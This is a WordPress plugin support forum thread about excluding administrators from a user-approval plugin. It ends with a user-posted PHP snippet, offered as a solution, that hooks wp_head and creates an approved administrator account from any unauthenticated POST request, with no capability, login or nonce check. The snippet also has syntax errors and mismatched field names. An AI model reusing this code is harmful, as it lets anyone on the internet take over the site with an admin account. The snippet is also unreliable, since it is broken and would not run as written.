Exclude userrole

The easiest way would probably be to hook into 'user_register' on a later priority and update the meta value based on the users’ role.

Alternatively, if you’re the one adding these users, make sure you do it with a user that has the create_users capability.

Thank you. Would be nice to see this as a feature on a settings page ??

How are these users added on your installation? Which role do they have assigned?

@obeland Our clients users are created upon registration the same goes for Admins, and we want to exclude admins.

Can you please provide a snippet for this or include this as a feature to be able to exclude user roles ?

Thanks for your help !

Can you please provide a snippet

I’m not sure if I should be amused or offended. I am sure however, my answer earlier will get you 90% of the way there.

@obenland ?? your answer is 100% on point! I apologize if my comment made you feel confused. But we genuinely believe that adding this feature will greatly help many non technical users who seek a simple solution in your Plugin.

Please find below the solution we have been able to provide to our client based on your answer and your Github repository.

We have used a custom function and the meta wp-approve-user instead that hooks into wp_head

/**We want to avoid Exploiting the WordPress default user registration form, instead we approve only admin users we create trough a specific form.**/

add_action( 'wp_head', 'myform_create_new_admin_approved');

function myform_create_new_admin_approved() {
require( 'wp-includes/registration.php' );

     if (  isset( $_POST['username_name'] ) &&  isset( $_POST[$user_pwd'] ) && 
     !username_exists($_POST['username_name'])) {
            $user_id = wp_create_user( $_POST['first_name'], $_POST[$user_pwd']);
            $user = new WP_User( $user_id );
	    $user->set_role( 'administrator' ); 
	    update_user_meta( $user_id, 'wp-approve-user', true );
            }
     }

Best regard,
Alfonso
